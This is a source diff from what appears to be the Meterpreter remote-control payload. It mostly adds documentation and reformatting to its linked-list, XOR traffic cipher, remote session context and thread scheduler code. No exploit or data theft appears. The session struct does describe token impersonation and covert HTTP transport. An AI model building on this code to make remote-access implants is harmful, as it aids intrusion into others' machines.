@ -319,6 +319,34 @@ DWORD packet_add_tlv_string( Packet *packet, TlvType type, LPCSTR str )
return packet_add_tlv_raw(packet, type, (PUCHAR)str, (DWORD)strlen(str) + 1); return packet_add_tlv_raw(packet, type, (PUCHAR)str, (DWORD)strlen(str) + 1);
} }
/*!
* @brief Add a wide-string value TLV to a packet, including the \c NULL terminator.
* @param packet Pointer to the packet to add the value to.
* @param type TLV type for the value.
* @param str Pointer to the wide-string value to add to the packet.
* @return Indication of success or failure.
* @retval ERROR_SUCCESS The operation completed successfully.
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
*/
DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str)
{
DWORD dwResult;
size_t charCount = wcslen(str);
LPSTR lpStr = (LPSTR)malloc(charCount + 1);
if (lpStr) {
wcstombs(lpStr, str, charCount);
lpStr[charCount] = 0;
dwResult = packet_add_tlv_raw(packet, type, (PUCHAR)lpStr, (DWORD)charCount + 1);
free(lpStr);
}
else {
dwResult = ERROR_NOT_ENOUGH_MEMORY;
}
return dwResult;
}
/*! /*!
* @brief Add a unsigned integer value TLV to a packet. * @brief Add a unsigned integer value TLV to a packet.
* @param packet Pointer to the packet to add the value to. * @param packet Pointer to the packet to add the value to.

@ -210,6 +210,7 @@ LINKAGE Packet *packet_duplicate(Packet *packet);
LINKAGE VOID packet_destroy(Packet *packet); LINKAGE VOID packet_destroy(Packet *packet);
LINKAGE DWORD packet_add_tlv_string(Packet *packet, TlvType type, LPCSTR str); LINKAGE DWORD packet_add_tlv_string(Packet *packet, TlvType type, LPCSTR str);
LINKAGE DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str);
LINKAGE DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val); LINKAGE DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val);
LINKAGE DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val ); LINKAGE DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val );
LINKAGE DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val); LINKAGE DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val);

@ -1,16 +1,18 @@
/*!
* @file xor.c
* @brief Definitions of functions that perform XOR encryption.
*/
#include "common.h" #include "common.h"
#define TLV_TYPE_XOR_KEY \ #define TLV_TYPE_XOR_KEY MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, 0, 1)
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
0, \
1)
DWORD xor_crypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength, DWORD xor_crypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
PUCHAR *outBuffer, PULONG outBufferLength); PUCHAR *outBuffer, PULONG outBufferLength);
/* /*!
* Populates the crypto context's handlers for XOR * @brief Populates the crypto context's handlers for XOR.
* @param context Pointer to the crypto context to populate.
* @returns Always returns \c ERROR_SUCCESS.
*/ */
DWORD xor_populate_handlers(CryptoContext *context) DWORD xor_populate_handlers(CryptoContext *context)
{ {
@ -22,8 +24,14 @@ DWORD xor_populate_handlers(CryptoContext *context)
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
/* /*!
* Processes a negotiate request that has been sent from the remote endpoint * @brief Processes a negotiate request that has been sent from the remote endpoint.
* @param context Pointer to the crypto context to use.
* @param request Pointer to the request \c Packet.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS Operation completed successfully.
* @retval ERROR_INVALID_PARAMETER One of the expected TLV parameters was
* missing from the \c request.
*/ */
DWORD xor_process_negotiate_request(CryptoContext *context, DWORD xor_process_negotiate_request(CryptoContext *context,
Packet *request) Packet *request)
@ -49,8 +57,16 @@ DWORD xor_process_negotiate_request(CryptoContext *context,
return res; return res;
} }
/* /*!
* Encrypts the supplied buffer * @brief Encrypts the supplied buffer using the supplied crypto context.
* @param context Pointer to the crypto context to use for encryption.
* @param inBuffer Buffer to encrypt.
* @param inBufferLength The number of bytes in \c inBuffer to encrypt.
* @param outBuffer Pointer that will receive the output buffer.
* @param outBufferLength Pointer that will receive the output buffer length.
* @remark The memory referenced by \c outBuffer needs to be deallocated using \c free.
* @sa xor_crypt
* @sa xor_decrypt
*/ */
DWORD xor_encrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength, DWORD xor_encrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
PUCHAR *outBuffer, PULONG outBufferLength) PUCHAR *outBuffer, PULONG outBufferLength)
@ -59,8 +75,17 @@ DWORD xor_encrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
outBufferLength); outBufferLength);
} }
/* /*!
* Decrypts the supplied buffer * @brief Decrypts the supplied buffer using the supplied crypto context.
* @param context Pointer to the crypto context to use for decryption.
* @param inBuffer Buffer to decrypt.
* @param inBufferLength The number of bytes in \c inBuffer to encrypt.
* @param outBuffer Pointer that will receive the output buffer.
* @param outBufferLength Pointer that will receive the output buffer length.
* @returns Indication of success or failure.
* @remark The memory referenced by \c outBuffer needs to be deallocated using \c free.
* @sa xor_crypt
* @sa xor_encrypt
*/ */
DWORD xor_decrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength, DWORD xor_decrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
PUCHAR *outBuffer, PULONG outBufferLength) PUCHAR *outBuffer, PULONG outBufferLength)
@ -69,8 +94,19 @@ DWORD xor_decrypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
outBufferLength); outBufferLength);
} }
/* /*!
* Performs an XOR operation on every 4 byte block of the supplied buffer * @brief Performs an XOR operation on every 4 byte block of the supplied buffer.
* @param context Pointer to the crypto context to use for decryption.
* @param inBuffer Buffer to decrypt.
* @param inBufferLength The number of bytes in \c inBuffer to encrypt.
* @param outBuffer Pointer that will receive the output buffer.
* @param outBufferLength Pointer that will receive the output buffer length.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS Operation completed successfully.
* @retval ERROR_NOT_ENOUGH_MEMORY Memory allocation failed.
* @remark The memory referenced by \c outBuffer needs to be deallocated using \c free.
* @sa xor_decrypt
* @sa xor_encrypt
*/ */
DWORD xor_crypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength, DWORD xor_crypt(CryptoContext *context, PUCHAR inBuffer, ULONG inBufferLength,
PUCHAR *outBuffer, PULONG outBufferLength) PUCHAR *outBuffer, PULONG outBufferLength)

@ -1,3 +1,7 @@
/*!
* @file xor.h
* @brief Declarations for functions that perform XOR encryption.
*/
#ifndef _METERPRETER_SOURCE_COMMON_CRYPTO_XOR_H #ifndef _METERPRETER_SOURCE_COMMON_CRYPTO_XOR_H
#define _METERPRETER_SOURCE_COMMON_CRYPTO_XOR_H #define _METERPRETER_SOURCE_COMMON_CRYPTO_XOR_H

@ -1,167 +1,192 @@
/*!
* @file list.c
* @brief Definitions for functions that operate on lists.
* @details An implementation of a simple thread safe double linked list structure. Can be used as either
* a stack (via pop/push), a queue (via push/shift) or an array (via get/add/insert/remove). If
* performing a group of actions on a list based on results from list actions, acquire the list
* lock before the group of actions and release lock when done.
*/
#include "common.h" #include "common.h"
/* /*!
* An implementation of a simple thread safe double linked list structure. Can be used as either * @brief Create a thread-safe double linked list.
* a stack (via pop/push), a queue (via push/shift) or an array (via get/add/insert/remove). If * @returns A new instance of a linked list.
* performing a group of actions on a list based on results from list actions, acquire the list * @retval NULL Indicates a memory allocation failure.
* lock before the group of actions and release lock when done.
*/ */
LIST * list_create(VOID)
/*
* Create a thread safe double linked list.
*/
LIST * list_create( VOID )
{ {
LIST * list = (LIST *)malloc( sizeof(LIST) ); LIST * list = (LIST*)malloc(sizeof(LIST));
if( list != NULL ) if (list != NULL)
{ {
list->start = NULL; list->start = NULL;
list->end = NULL; list->end = NULL;
list->count = 0; list->count = 0;
list->lock = lock_create(); list->lock = lock_create();
if( list->lock == NULL ) if (list->lock == NULL)
{ {
list_destroy( list ); list_destroy(list);
return NULL; return NULL;
} }
} }
return list; return list;
} }
/* /*!
* Destroy an existing linked list. This destroys all nodes and the list itself * @brief Destroy an existing linked list.
* but not the data held in the linked list. This is the responsibility of the * @details This destroys all nodes and the list itself but not the data held in the
* caller to destroy. * linked list. This is the responsibility of the caller to destroy.
* @param list The \c LIST instance to destroy.
*/ */
VOID list_destroy( LIST * list ) VOID list_destroy(LIST * list)
{ {
NODE * current_node; NODE * current_node;
NODE * next_node; NODE * next_node;
if( list != NULL ) if (list != NULL)
{ {
lock_acquire( list->lock ); lock_acquire(list->lock);
current_node = list->start; current_node = list->start;
while( current_node != NULL ) while (current_node != NULL)
{ {
next_node = current_node->next; next_node = current_node->next;
current_node->next = NULL; current_node->next = NULL;
current_node->prev = NULL; current_node->prev = NULL;
free( current_node ); free(current_node);
current_node = next_node; current_node = next_node;
} }
list->count = 0; list->count = 0;
lock_release( list->lock ); lock_release(list->lock);
lock_destroy( list->lock );
free( list ); lock_destroy(list->lock);
free(list);
} }
} }
/* /*!
* Return the number of items in the list. If using this coung value to itterate through the list * @brief Get the number of items in the list.
* with list_get, acquire the lists lock before the list_count/list_get block and release it afterwards. * @param list The \c LIST to get a count of.
* @returns The number of elements in the list.
* @remark If using this coung value to itterate through the list with `list_get`, acquire
* the lists lock before the `list_count/list_get` block and release it afterwards.
*/ */
DWORD list_count( LIST * list ) DWORD list_count(LIST * list)
{ {
DWORD count = 0; DWORD count = 0;
if( list != NULL ) if (list != NULL)
{ {
lock_acquire( list->lock ); lock_acquire(list->lock);
count = list->count; count = list->count;
lock_release( list->lock ); lock_release(list->lock);
} }
return count; return count;
} }
/* /*!
* Get the data value held in the list and a specified index. This will perform a linear search from * @brief Get the data value held in the list and a specified index.
* the begining of the list returning the data value if found or NULL if not found. * @param list Pointer to the \c LIST to get the element from.
* @param index Index of the element to get;
* @returns Pointer to the item in the list.
* @retval NULL Indicates the element doesn't exist in the list.
* @remark This will perform a linear search from the beginning of the list.
*/ */
LPVOID list_get( LIST * list, DWORD index ) LPVOID list_get(LIST * list, DWORD index)
{ {
LPVOID data = NULL; LPVOID data = NULL;
NODE * current_node = NULL; NODE * current_node = NULL;
if( list == NULL ) if (list == NULL)
return NULL; return NULL;
lock_acquire( list->lock ); lock_acquire(list->lock);
if( list->count <= index ) if (list->count <= index)
{ {
lock_release( list->lock ); lock_release(list->lock);
return NULL; return NULL;
} }
current_node = list->start; current_node = list->start;
while( current_node != NULL ) while (current_node != NULL)
{ {
if( index == 0 ) if (index == 0)
{
break; break;
}
current_node = current_node->next; current_node = current_node->next;
index--; index--;
} }
if( current_node != NULL ) if (current_node != NULL)
{
data = current_node->data; data = current_node->data;
}
lock_release(list->lock);
lock_release( list->lock );
return data; return data;
} }
/* /*!
* Adds a data item onto the end of the list. * @brief Add a data item onto the end of the list.
* @param list Pointer to the \c LIST to add the item to.
* @param data The data that is to be added to the list.
* @returns Indication of success or failure.
* @sa list_push
*/ */
BOOL list_add( LIST * list, LPVOID data ) BOOL list_add(LIST * list, LPVOID data)
{ {
return list_push( list, data ); return list_push(list, data);
} }
/* /*!
* Internal function to remove a node from a list. Assumes caller has aquired the appropriate lock first. * @brief Internal function to remove a node from a list.
* @param list Pointer to the \c LIST containing \c node.
* @param node Pointer to the \c NOTE to remove.
* @returns Indication of success or failure.
* @remark Assumes caller has aquired the appropriate lock first.
*/ */
BOOL list_remove_node( LIST * list, NODE * node ) BOOL list_remove_node(LIST * list, NODE * node)
{ {
if( list == NULL || node == NULL) if (list == NULL || node == NULL)
{
return FALSE; return FALSE;
}
if( list->count - 1 == 0 ) if (list->count - 1 == 0)
{ {
list->start = NULL; list->start = NULL;
list->end = NULL; list->end = NULL;
} }
else else
{ {
if( list->start == node ) if (list->start == node)
{ {
list->start = list->start->next; list->start = list->start->next;
list->start->prev = NULL; list->start->prev = NULL;
} }
else if( list->end == node ) else if (list->end == node)
{ {
list->end = list->end->prev; list->end = list->end->prev;
list->end->next = NULL; list->end->next = NULL;
} }
else else
{ {
node->next->prev = node->prev; node->next->prev = node->prev;
node->prev->next = node->next; node->prev->next = node->next;
@ -171,67 +196,81 @@ BOOL list_remove_node( LIST * list, NODE * node )
list->count -= 1; list->count -= 1;
node->next = NULL; node->next = NULL;
node->prev = NULL; node->prev = NULL;
free( node ); free(node);
return TRUE; return TRUE;
} }
/* /*!
* Remove a given data item from the list. Assumes data items are unqique as only the first occurrence is removed. * @brief Remove a given data item from the list.
* @param list Pointer to the \c LIST to remove the item from.
* @param data The data that is to be removed from the list.
* @remark Assumes data items are unqique as only the first occurrence is removed.
* @returns Indication of success or failure.
* @sa list_remove_node
*/ */
BOOL list_remove( LIST * list, LPVOID data ) BOOL list_remove(LIST * list, LPVOID data)
{ {
BOOL result = FALSE; BOOL result = FALSE;
NODE * current_node = NULL; NODE * current_node = NULL;
if( list == NULL || data == NULL ) if (list == NULL || data == NULL)
{
return FALSE; return FALSE;
}
lock_acquire( list->lock ); lock_acquire(list->lock);
current_node = list->start; current_node = list->start;
while( current_node != NULL ) while (current_node != NULL)
{ {
if( current_node->data == data ) if (current_node->data == data)
{
break; break;
}
current_node = current_node->next; current_node = current_node->next;
} }
result = list_remove_node( list, current_node ); result = list_remove_node(list, current_node);
lock_release(list->lock);
lock_release( list->lock );
return result; return result;
} }
/* /*!
* Remove a list item at the specified index. * @brief Remove a list item at the specified index.
* @param list Pointer to the \c LIST to remove the item from.
* @param index Index of the item to remove.
* @returns Indication of success or failure.
*/ */
BOOL list_delete( LIST * list, DWORD index ) BOOL list_delete(LIST * list, DWORD index)
{ {
BOOL result = FALSE; BOOL result = FALSE;
LPVOID data = NULL; LPVOID data = NULL;
NODE * current_node = NULL; NODE * current_node = NULL;
if( list == NULL ) if (list == NULL)
{
return FALSE; return FALSE;
}
lock_acquire( list->lock ); lock_acquire(list->lock);
if( list->count > index ) if (list->count > index)
{ {
current_node = list->start; current_node = list->start;
while( current_node != NULL ) while (current_node != NULL)
{ {
if( index == 0 ) if (index == 0)
{ {
result = list_remove_node( list, current_node ); result = list_remove_node(list, current_node);
break; break;
} }
@ -241,34 +280,39 @@ BOOL list_delete( LIST * list, DWORD index )
} }
} }
lock_release( list->lock ); lock_release(list->lock);
return result; return result;
} }
/* /*!
* Push a data item onto the end of the list. * @brief Push a data item onto the end of the list.
* @param list Pointer to the \c LIST to append the data to.
* @param data Pointer to the data to append.
* @returns Indication of success or failure.
*/ */
BOOL list_push( LIST * list, LPVOID data ) BOOL list_push(LIST * list, LPVOID data)
{ {
NODE * node = NULL; NODE * node = NULL;
if( list == NULL ) if (list == NULL)
return FALSE; return FALSE;
node = (NODE *)malloc( sizeof(NODE) ); node = (NODE*)malloc(sizeof(NODE));
if( node == NULL ) if (node == NULL)
{
return FALSE; return FALSE;
}
node->data = data; node->data = data;
node->next = NULL; node->next = NULL;
node->prev = NULL; node->prev = NULL;
lock_acquire( list->lock ); lock_acquire(list->lock);
if ( list->end != NULL ) if (list->end != NULL)
{ {
list->end->next = node; list->end->next = node;
node->prev = list->end; node->prev = list->end;
@ -277,60 +321,70 @@ BOOL list_push( LIST * list, LPVOID data )
else else
{ {
list->start = node; list->start = node;
list->end = node; list->end = node;
} }
list->count += 1; list->count += 1;
lock_release( list->lock ); lock_release(list->lock);
return TRUE; return TRUE;
} }
/* /*!
* Pop a data value off the end of the list. * @brief Pop a data value off the end of the list.
* @param list Pointer to the \c LIST to pop the value from.
* @returns The popped value.
* @retval NULL Indicates no data in the list.
*/ */
LPVOID list_pop( LIST * list ) LPVOID list_pop(LIST * list)
{ {
LPVOID data = NULL; LPVOID data = NULL;
if( list == NULL ) if (list == NULL)
{
return NULL; return NULL;
}
lock_acquire( list->lock ); lock_acquire(list->lock);
if( list->end != NULL ) if (list->end != NULL)
{ {
data = list->end->data; data = list->end->data;
list_remove_node( list, list->end ); list_remove_node(list, list->end);
} }
lock_release( list->lock ); lock_release(list->lock);
return data; return data;
} }
/* /*!
* Pop a data value off the start of the list. * @brief Pop a data value off the start of the list.
* @param list Pointer to the \c LIST to shift the value from.
* @returns The shifted value.
* @retval NULL Indicates no data in the list.
*/ */
LPVOID list_shift( LIST * list ) LPVOID list_shift(LIST * list)
{ {
LPVOID data = NULL; LPVOID data = NULL;
if( list == NULL ) if (list == NULL)
{
return NULL; return NULL;
}
lock_acquire( list->lock ); lock_acquire(list->lock);
if( list->start != NULL ) if (list->start != NULL)
{ {
data = list->start->data; data = list->start->data;
list_remove_node( list, list->start ); list_remove_node(list, list->start);
} }
lock_release( list->lock ); lock_release(list->lock);
return data; return data;
} }

@ -1,45 +1,36 @@
/*!
* @file list.h
* @brief Declarations for functions that operate on lists.
*/
#ifndef _METERPRETER_LIB_LIST_H #ifndef _METERPRETER_LIB_LIST_H
#define _METERPRETER_LIB_LIST_H #define _METERPRETER_LIB_LIST_H
/*****************************************************************************************/ /*! @brief Container struct for data the lives in a list. */
typedef struct _NODE typedef struct _NODE
{ {
struct _NODE * next; struct _NODE * next; ///< Pointer to the next node in the list.
struct _NODE * prev; struct _NODE * prev; ///< Pointer to the previous node in the list.
LPVOID data; LPVOID data; ///< Reference to the data in the list node.
} NODE; } NODE;
/*! @brief Container structure for a list instance. */
typedef struct _LIST typedef struct _LIST
{ {
NODE * start; NODE * start; ///< Pointer to the first node in the list.
NODE * end; NODE * end; ///< Pointer to the last node in the list.
DWORD count; DWORD count; ///< Count of elements in the list.
LOCK * lock; LOCK * lock; ///< Reference to the list's synchronisation lock.
} LIST; } LIST;
/*****************************************************************************************/ LIST * list_create(VOID);
VOID list_destroy(LIST * list);
LIST * list_create( VOID ); DWORD list_count(LIST * list);
LPVOID list_get(LIST * list, DWORD index);
VOID list_destroy( LIST * list ); BOOL list_add(LIST * list, LPVOID data);
BOOL list_remove(LIST * list, LPVOID data);
DWORD list_count( LIST * list ); BOOL list_delete(LIST * list, DWORD index);
BOOL list_push(LIST * list, LPVOID data);
LPVOID list_get( LIST * list, DWORD index ); LPVOID list_pop(LIST * list);
LPVOID list_shift(LIST * list);
BOOL list_add( LIST * list, LPVOID data );
BOOL list_remove( LIST * list, LPVOID data );
BOOL list_delete( LIST * list, DWORD index );
BOOL list_push( LIST * list, LPVOID data );
LPVOID list_pop( LIST * list );
LPVOID list_shift( LIST * list );
/*****************************************************************************************/
#endif #endif

@ -1,18 +1,26 @@
/*!
* @file remote.c
* @brief Definitions of functions and types that interact with a remote endpoint.
*/
#include "common.h" #include "common.h"
/* /*!
* Instantiate a remote context from a file descriptor * @brief Instantiate a remote context from a file descriptor.
* @details This function takes a file descriptor and wraps it in \c Remote
* context which makes it easier to interact with the endpoint.
* @param fd File descriptor for the socket that needs to be wrapped.
* @returns Pointer to the created \c Remote instance.
* @retval NULL Indicates a memory allocation failure or a lock creation failure.
* @retval Non-NULL Successful creation of the context.
*/ */
Remote *remote_allocate(SOCKET fd) Remote *remote_allocate(SOCKET fd)
{ {
Remote *remote = NULL; Remote *remote = NULL;
// Allocate the remote context
if ((remote = (Remote *)malloc(sizeof(Remote)))) if ((remote = (Remote *)malloc(sizeof(Remote))))
{ {
memset(remote, 0, sizeof(Remote)); memset(remote, 0, sizeof(Remote));
// Set the file descriptor
remote->fd = fd; remote->fd = fd;
remote->lock = lock_create(); remote->lock = lock_create();
@ -30,19 +38,26 @@ Remote *remote_allocate(SOCKET fd)
return remote; return remote;
} }
/* /*!
* Deallocate a remote context * @brief Deallocate a remote context.
* @param remote Pointer to the \c Remote instance to deallocate.
*/ */
VOID remote_deallocate( Remote * remote ) VOID remote_deallocate(Remote * remote)
{ {
if( remote->fd ) if (remote->fd)
closesocket( remote->fd ); {
closesocket(remote->fd);
if( remote->lock ) }
lock_destroy( remote->lock );
if ( remote->uri ) if (remote->lock)
free( remote->uri); {
lock_destroy(remote->lock);
}
if (remote->uri)
{
free(remote->uri);
}
// Wipe our structure from memory // Wipe our structure from memory
memset(remote, 0, sizeof(Remote)); memset(remote, 0, sizeof(Remote));
@ -50,24 +65,35 @@ VOID remote_deallocate( Remote * remote )
free(remote); free(remote);
} }
/* /*!
* Override a previously set file descriptor * @brief Override a previously set file descriptor.
* @param remote Pointer to the existing \c Remote instance.
* @param fd The new file descriptor to use for the \c Remote instance.
*/ */
VOID remote_set_fd(Remote *remote, SOCKET fd) VOID remote_set_fd(Remote *remote, SOCKET fd)
{ {
remote->fd = fd; remote->fd = fd;
} }
/* /*!
* Get the remote context's file descriptor * @brief Get the remote context's file descriptor.
* @param remote Pointer to the \c Remote instance to get the file descriptor from.
* @returns The associated file descriptor.
*/ */
SOCKET remote_get_fd(Remote *remote) SOCKET remote_get_fd(Remote *remote)
{ {
return remote->fd; return remote->fd;
} }
/* /*!
* Initializes a given cipher as instructed to by the remote endpoint * @brief Initializes a given cipher as instructed by the remote endpoint.
* @param remote Pointer to the \c Remote instance.
* @param cipher Name of the cipher to use.
* @param initializer Pointer to the received \c Packet instance.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS The cipher was set correctly.
* @retval ERROR_NOT_ENOUGH_MEMORY Memory allocation failed.
* @retval ERROR_NOT_FOUND An invalid value was specified for \c cipher.
*/ */
DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, Packet *initializer) DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, Packet *initializer)
{ {
@ -92,15 +118,21 @@ DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, Packet *initializer)
// Populate handlers according to what cipher was selected // Populate handlers according to what cipher was selected
if (!strcmp(cipher, "xor")) if (!strcmp(cipher, "xor"))
{
res = xor_populate_handlers(remote->crypto); res = xor_populate_handlers(remote->crypto);
}
else else
{
res = ERROR_NOT_FOUND; res = ERROR_NOT_FOUND;
}
// If we got a context and it wants to process the request, do it. // If we got a context and it wants to process the request, do it.
if ((res == ERROR_SUCCESS) && if ((res == ERROR_SUCCESS) &&
(remote->crypto->handlers.process_negotiate_request)) (remote->crypto->handlers.process_negotiate_request))
{
res = remote->crypto->handlers.process_negotiate_request( res = remote->crypto->handlers.process_negotiate_request(
remote->crypto, initializer); remote->crypto, initializer);
}
} while (0); } while (0);
@ -108,7 +140,9 @@ DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, Packet *initializer)
if (res != ERROR_SUCCESS) if (res != ERROR_SUCCESS)
{ {
if (remote->crypto) if (remote->crypto)
{
free(remote->crypto); free(remote->crypto);
}
remote->crypto = NULL; remote->crypto = NULL;
} }
@ -116,8 +150,10 @@ DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, Packet *initializer)
return res; return res;
} }
/* /*!
* Returns a pointer to the remote endpoint's crypto context * @brief Gets a pointer to the remote endpoint's crypto context.
* @param remote The \c Remote instance to get the crypto context from.
* @returns A pointer to the crypto context.
*/ */
CryptoContext *remote_get_cipher(Remote *remote) CryptoContext *remote_get_cipher(Remote *remote)
{ {

@ -1,3 +1,7 @@
/*!
* @file remote.h
* @brief Declarations of functions and types that interact with a remote endpoint.
*/
#ifndef _METERPRETER_LIB_REMOTE_H #ifndef _METERPRETER_LIB_REMOTE_H
#define _METERPRETER_LIB_REMOTE_H #define _METERPRETER_LIB_REMOTE_H
@ -6,40 +10,44 @@
/*! /*!
* @brief Remote context allocation. * @brief Remote context allocation.
* * @details Wraps the initialized file descriptor for extension purposes.
* Wraps the initialized file descriptor for extension purposes. * A \c Remote is effectively a pointer to a remote client context
* which contains magic pixie dust that identifies the connection
* along with a way to interact with it.
* @remark The `Original` and `Current` members are used to allow for
* functionality such as `rev2self` and reverting back to the initial
* desktop stations/desktops.
*/ */
typedef struct _Remote typedef struct _Remote
{ {
HMODULE hMetSrv; HMODULE hMetSrv; ///< Reference to the Meterpreter server instance.
SOCKET fd; SOCKET fd; ///< Remote socket file descriptor.
CryptoContext *crypto; CryptoContext *crypto; ///< Cryptographic context associated with the connection.
SSL_METHOD *meth; SSL_METHOD *meth; ///< The current SSL method in use.
SSL_CTX *ctx; SSL_CTX *ctx; ///< SSL-specific context information.
SSL *ssl; SSL *ssl; ///< Pointer to the SSL detail/version/etc.
LOCK * lock; // lock must be acquired before doing any OpenSSL related action. LOCK * lock; ///< OpenSSL usage lock.
HANDLE hServerThread; HANDLE hServerThread; ///< Handle to the current server thread.
HANDLE hServerToken; HANDLE hServerToken; ///< Handle to the current server security token.
HANDLE hThreadToken; HANDLE hThreadToken; ///< Handle to the current thread security token.
DWORD dwOrigSessionId; DWORD dwOrigSessionId; ///< ID of the original Meterpreter session.
DWORD dwCurrentSessionId; DWORD dwCurrentSessionId; ///< ID of the currently active session.
char * cpOrigStationName; char * cpOrigStationName; ///< Original station name.
char * cpCurrentStationName; char * cpCurrentStationName; ///< Name of the current station.
char * cpOrigDesktopName; char * cpOrigDesktopName; ///< Original desktop name.
char * cpCurrentDesktopName; char * cpCurrentDesktopName; ///< Name of the current desktop.
DWORD transport;
char *url;
char *uri;
HANDLE hInternet;
HANDLE hConnection;
int expiration_time; DWORD transport; ///< Indicator of the transport in use for this session.
int start_time; char *url; ///< Full URL in use during HTTP or HTTPS transport use.
int comm_last_packet; char *uri; ///< URI endpoint in use during HTTP or HTTPS transport use.
int comm_timeout; HANDLE hInternet; ///< Handle to the internet module for use with HTTP and HTTPS.
HANDLE hConnection; ///< Handle to the HTTP or HTTPS connection.
int expiration_time; ///< Unix timestamp for when the server should shut down.
int start_time; ///< Unix timestamp representing the session startup time.
int comm_last_packet; ///< Unix timestamp of the last packet received.
int comm_timeout; ///< Unix timestamp for when to shutdown due to comms timeout.
} Remote; } Remote;
Remote *remote_allocate(SOCKET fd); Remote *remote_allocate(SOCKET fd);
@ -48,8 +56,8 @@ VOID remote_deallocate(Remote *remote);
VOID remote_set_fd(Remote *remote, SOCKET fd); VOID remote_set_fd(Remote *remote, SOCKET fd);
SOCKET remote_get_fd(Remote *remote); SOCKET remote_get_fd(Remote *remote);
DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, DWORD remote_set_cipher(Remote *remote, LPCSTR cipher,
struct _Packet *initializer); struct _Packet *initializer);
CryptoContext *remote_get_cipher(Remote *remote); CryptoContext *remote_get_cipher(Remote *remote);
#endif #endif

@ -4,12 +4,20 @@
#include "linkage.h" #include "linkage.h"
#include "remote.h" #include "remote.h"
typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID context); typedef enum
{
Pause = 1,
Resume = 2,
Stop = 3
} SchedularSignal;
typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID entryContext, LPVOID threadContext);
typedef DWORD (*WaitableDestroyRoutine)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext);
LINKAGE DWORD scheduler_initialize( Remote * remote ); LINKAGE DWORD scheduler_initialize( Remote * remote );
LINKAGE DWORD scheduler_destroy( VOID ); LINKAGE DWORD scheduler_destroy( VOID );
LINKAGE DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotifyRoutine routine ); LINKAGE DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy );
LINKAGE DWORD scheduler_remove_waitable( HANDLE waitable ); LINKAGE DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal );
LINKAGE DWORD THREADCALL scheduler_waitable_thread( THREAD * thread ); LINKAGE DWORD THREADCALL scheduler_waitable_thread( THREAD * thread );
#endif #endif

@ -137,8 +137,11 @@ BOOL event_signal( EVENT * event )
return FALSE; return FALSE;
#ifdef _WIN32 #ifdef _WIN32
if( SetEvent( event->handle ) == 0 ) dprintf( "Signalling 0x%x", event->handle );
if( SetEvent( event->handle ) == 0 ) {
dprintf( "Signalling 0x%x failed %u", event->handle, GetLastError() );
return FALSE; return FALSE;
}
#else #else
event->handle = (HANDLE)1; event->handle = (HANDLE)1;
__futex_wake(&(event->handle), 1); __futex_wake(&(event->handle), 1);
@ -153,21 +156,26 @@ BOOL event_signal( EVENT * event )
*/ */
BOOL event_poll( EVENT * event, DWORD timeout ) BOOL event_poll( EVENT * event, DWORD timeout )
{ {
#ifdef _WIN32
if( event == NULL ) if( event == NULL )
return FALSE; return FALSE;
#ifdef _WIN32
if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 ) if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 )
return TRUE; return TRUE;
return FALSE; return FALSE;
#else #else
BOOL result = FALSE;
// DWORD WINAPI WaitForSingleObject( // DWORD WINAPI WaitForSingleObject(
// __in HANDLE hHandle, // __in HANDLE hHandle,
// __in DWORD dwMilliseconds // __in DWORD dwMilliseconds
// ); // );
// http://msdn.microsoft.com/en-us/library/ms687032(VS.85).aspx // http://msdn.microsoft.com/en-us/library/ms687032(VS.85).aspx
if( event == NULL )
return FALSE;
if(timeout) { if(timeout) {
struct timespec ts; struct timespec ts;
@ -188,7 +196,12 @@ BOOL event_poll( EVENT * event, DWORD timeout )
__futex_wait(&(event->handle), 0, &ts); __futex_wait(&(event->handle), 0, &ts);
} }
return event->handle ? TRUE : FALSE; // We should behave like an auto-reset event
result = event->handle ? TRUE : FALSE;
if( result )
event->handle = (HANDLE)0;
return result;
#endif #endif
} }
@ -321,7 +334,7 @@ void *__paused_thread(void *req)
/* /*
* Create a new thread in a suspended state. * Create a new thread in a suspended state.
*/ */
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 ) THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 )
{ {
THREAD * thread = NULL; THREAD * thread = NULL;
@ -344,6 +357,7 @@ THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 )
thread->parameter1 = param1; thread->parameter1 = param1;
